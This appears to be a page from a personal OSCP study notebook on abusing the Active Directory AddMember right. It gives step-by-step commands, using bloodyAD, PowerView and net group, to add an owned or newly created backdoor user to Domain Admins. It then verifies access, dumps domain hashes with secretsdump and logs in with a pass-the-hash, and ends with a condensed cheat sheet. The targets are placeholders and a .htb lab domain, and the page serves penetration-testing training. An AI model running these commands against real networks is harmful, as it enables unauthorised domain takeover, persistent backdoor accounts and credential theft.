Pearson's OSCP Notebook

AddMember

Properties2
tagsaddmember, ad-permissions, acl-abuse, bloodhound, domain-admins
aliasesAddMember

2 min read

AddMember — AD Permission Abuse

Ctrl+F: AddMember · add groupMember · Domain Admins

External: Internal All The Things — Groups

AddMember lets you add members to a group object — one of the cleanest paths to Domain Admin when BloodHound shows AddMember on a privileged group.

Owned User
   │
AddMember
   ▼
Privileged Group (Domain Admins, Server Admins, etc.)

Your first thought:

“Add myself (or my backdoor user) to this group → inherit group rights.”

📌 Before you add — check

CheckWhy
Group is not protectedAdminCount=1 / protected groups block low-priv adds in some cases
You have AddMember (not just GenericAll on user)Edge must point to group
Account Operators pathCan create users + add to non-protected groups only

📌 Execute — Linux (bloodyAD)

Full reference → bloodyAD > add groupMember — join privileged group

# Add yourself
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" user
 
# Add backdoor user you created
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add user backdoor 'P@ssw0rd123'
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" backdoor

Verify:

nxc smb DC_IP -u user -p 'PASS' -x "net user user"
nxc ldap DC_IP -u user -p 'PASS' --groups

📌 Execute — Windows

# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"
 
# RSAT
Add-ADGroupMember -Identity "Domain Admins" -Members jsmith
net group "Domain Admins" jsmith /add /domain

→ PowerView · Active Directory Cmdlets > 📌 7) Write / Modify Cmdlets (Needs Privileges)

📌 After joining privileged group

# Confirm DA-level access
nxc smb DC_IP -u user -p 'PASS'
nxc smb DC_IP -u user -p 'PASS' -x whoami
 
# Dump hashes (if DA)
impacket-secretsdump domain.htb/user:'PASS'@DC_IP
evil-winrm -i DC_IP -u Administrator -H NTHASH

→ LatMovement · secretsdump · Impacket

📌 Related rights

RightRelationship
GenericAll on groupAlso lets you add members — use same commands
WriteDacl on groupGrant yourself AddMember first

📌 Quick cheat sheet

bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Domain Admins" user
impacket-secretsdump domain.htb/user:'PASS'@DC_IP
net group "Domain Admins" jsmith /add /domain

Graph View

Backlinks